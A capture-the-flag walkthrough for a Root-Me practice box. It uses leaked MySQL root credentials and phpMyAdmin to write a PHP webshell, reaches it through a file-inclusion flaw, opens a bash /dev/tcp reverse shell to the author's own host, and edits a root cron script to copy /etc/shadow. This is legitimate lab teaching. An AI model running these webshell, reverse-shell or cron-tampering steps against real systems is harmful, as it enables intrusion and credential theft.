Root-Them

Enumeration

After launching the box, we get a hostname to attack. We'll focus on the web part so let's start by launching a directory scanner like feroxbuster:

$ feroxbuster -u http://ctf16.root-me.org/ -x html,php --collect-backups
[...]
200  GET   22l   74w   791c http://ctf16.root-me.org/list/index.php
200  GET   42l   152w  1463c http://ctf16.root-me.org/list/index.bak
[...]
301  GET   9l    28w   326c http://ctf16.root-me.org/phpmyadmin => http://ctf16.root-me.org/phpmyadmin/
[...]

The --collect-backups flag will, for each successful response, try a few extensions like .bak, .old, ~, etc... to try to discover backups of the file.

In our case, we found a backup of /list/index.php. Let's take a look:

<?php
if (isset($email)) {
    $link = mysql_connect('localhost', 'root', 'mysqlpassword');
    if (!$link) {
        die('Could not connect: ' . mysql_error());
    }
    echo '<!-- Connected successfully -->';
    mysql_select_db("contacts") or die('Could not select database');
    $query = "insert into contact set name='$name', email='$email', phone='$phone', org='$org'";
    mysql_query($query) or die('Query error' . mysql_error());
    mysql_close($link);
    echo "<h2>Thank you for registering!</h2>"; 
    echo "<p>You have successfully been added to our contact database.</p>";
    echo "<p>Click <a href='../index.php'>here</a> to return to our homepage.</p>";
}

SQL stuff

It leaks the MySQL credentials. As we saw in the feroxbuster output, there is a /phpmyadmin/ endpoint, so let's see if we can login:

login to phpmyadmin

Yes we can! And we are the root@localhost user (this doesn't mean the mysql process is running as root, but we have full access to all databases and some dangerous functionalities like LOAD_FILE() and SELECT INTO OUTFILE are available).

We can use a SQL editor by clicking on this icon:

phpmyadmin SQL editor

Since, we are root@localhost, we can use the LOAD_FILE function to read arbitrary files (that we have read permission to of course):

LOAD_FILE result

/var/www/html/ is the default path for many applications, especially PHP apps running on Apache, so that's a good first guess and here we successfully get the source code of /index.php.

Another dangerous thing we can do is using SELECT INTO OUTFILE to write arbitrary files:

SELECT INTO OUTFILE test

As we can see, we don't have permission to write in /var/www/html/, otherwise we could have written a PHP file and execute arbitrary commands on the server.

File Inclusion

/index.php has an interesting page parameter:

page URL parameter

This is a good target for a file inclusion vulnerability:

try to include /etc/passwd

We've set the page parameter to /etc/passwd and it tried to call include_once("inc//etc/passwd.php") which failed.

Since there is no sanitization of the page parameter, we can include any file on the server ending in .php.

With our access to MySQL, we can write arbitrary files, so we win!
Let's start by writing a simple PHP webshell to /tmp/:

SELECT "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php";

$_REQUEST is a special PHP variable that is populated with GET and POST parameters of the request.

Everyone has permission to write to /tmp/ so we'll place the webshell there.

Now we just have to include it via the LFI (and specify the cmd parameter) to execute arbitrary commands:

$ curl 'http://ctf16.root-me.org/?page=../../../../tmp/shell&cmd=id'
[...]
<div id="main">uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
[...]

To get a reverse shell, you'll have to find a way to make it possible for the challenge server (ctf16.root-me.org for me in this case) to talk to your PC / VM / whatever you're using.

To do that, you can forward a port on your router, or use a service like ngrok, etc etc...

I personally went the port forwarding route so my reverse shell payload looks like this:

curl 'http://ctf16.root-me.org/?page=../../../../tmp/shell' \
    --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ROUTER_IP/45666 0>&1"'

I forwarded port 45666 on my router to my machine which has a nc listener:

nc -lnvp 4242

Port 4242 is arbitrary here, just make sure you use the one defined in the port forwarding settings on your router.

If all went well, we should receive a connection back on our nc listener:

bash-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

We executed code in the context of the webserver so it's no surprise that we are the apache user (sometimes also called www-data).

Privesc

One interesting privilege escalation vector on Linux (especially servers) is cron jobs. A cron job is a task (executable or shell script) that gets executed on a specific date, or specific time interval.

Each user can have their own crontab (file that specifies tasks to run) but there is a global one located at /etc/crontab:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
* * * * *  root /var/www/html/events/scripts/cron-curl.sh
5 * * * *  root /usr/bin/webalizer

The lines with run-parts are part of the default system installation so nothing of interest here.

The last two lines are much more interesting. The one with cron-curl.sh has 5 asterisks (*) which means it runs every minute. The other with /usr/bin/webalizer runs on minute 5 of each hour, each day, etc etc... Here is a cool website to (try) to understand this weird syntax.

Right after the 5 symbols to define the timing, we have the user which will run the task, in this case root. That's good to know but what's even better is that we have write permission on /var/www/html/events/scripts/cron-curl.sh. This means we can modify this script and make root execute anything we want.

There are lots of possibilities here but we'll go with copying /etc/shadow to /tmp/ in order to see the password hash of every user. Of course don't forget to delete the file after you don't need it anymore to avoid spoiling the fun for other players (:

#!/bin/sh
# $Id: cron-curl.sh,v 1.3 2006/08/22 07:38:24 dries Exp $

curl --silent --compressed http://localhost/events/cron.php
cat /etc/shadow > /tmp/hehexd

After waiting at most one minute, we should see a hehexd file in /tmp/:

bash-3.2$ cat /tmp/hehexd
[...]
root:$1$FktU[...]
[...]

If you choose to send yourself a reverse shell, make sure to put it in the background by appending a & at the end. Otherwise, the reverse shell will block the script so you may crash something.

Ending note

I only showed 1 way of rooting the box, do not hesitate to explore other possibilities (: